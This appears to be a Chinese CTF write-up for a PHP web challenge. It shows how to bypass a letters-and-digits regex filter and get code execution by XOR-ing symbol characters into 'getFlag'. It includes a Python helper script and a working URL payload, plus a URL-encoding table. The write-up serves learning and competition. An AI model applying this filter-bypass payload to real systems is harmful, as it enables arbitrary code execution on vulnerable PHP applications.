WEB部分题目writeup

MEIZIJIU_PHP

题目链接:

http://202.112.51.184:20001/

打开网页出现一段PHP代码:

代码大意就是如果得到的code不为空则执行下列操作:

如果code长度大于40就显示LONG,如果code匹配到正则表达式中出现的字符就显示NO,否则执行code(即若code值正确则可以拿到flag)。

看到下面的hint,上面显示通过getFlag()函数可以拿到flag,那么,我们的目标就是绕过PHP的字符过滤,在code中执行getFlag()函数。

根据正则表达式,可以看出所有字母和数字被过滤了,那么我们就需要将getFlag几个字母通过转换表达。

目前想到一种较为麻烦的:

 1 # -*- coding:utf-8 -*-
 2 list=[' ','*','~',']','$','@','!','%','&','(',')','_','=','{','}','[','?','\\','/','.','\'',';',':','<','>','+','-','^','`','|','.',',']
 3 for i in range(len(list)):
 4     for j in range(len(list)):
 5         str=chr(ord(list[i])^ord(list[j]))
 6         if(str=='a'):
 7             print list[i],list[j]
 8             break;
 9 
10 print 'OK'

然后随便选一组贴在网址后面,如:

http://202.112.51.184:20001/?code=$_=(%27][%2B:@_%3C%27^%27:%3E_|,%3E[%27);$_();

(网页自动转义了),则可以得到flag:

FLAG{Php_zezeze}

需要注意的是,通过脚本得到的一些字符是URL保留字,需要再换种方式表示:

URL中的保留字
特殊字符代表含义替换内容
+ URL 中+号表示空格 %2B 
空格 URL中的空格可以用+号或者编码 %20 
/ 分隔目录和子目录 %2F 
? 分隔实际的URL和参数 %3F 
% 指定特殊字符 %25 
# 表示书签 %23 
& URL 中指定的参数间的分隔符 %26 
= URL 中指定参数的值 %3D 

 

 

 

posted @ 2018-08-06 19:23  不不不不不好听  阅读(406)  评论(0编辑  收藏  举报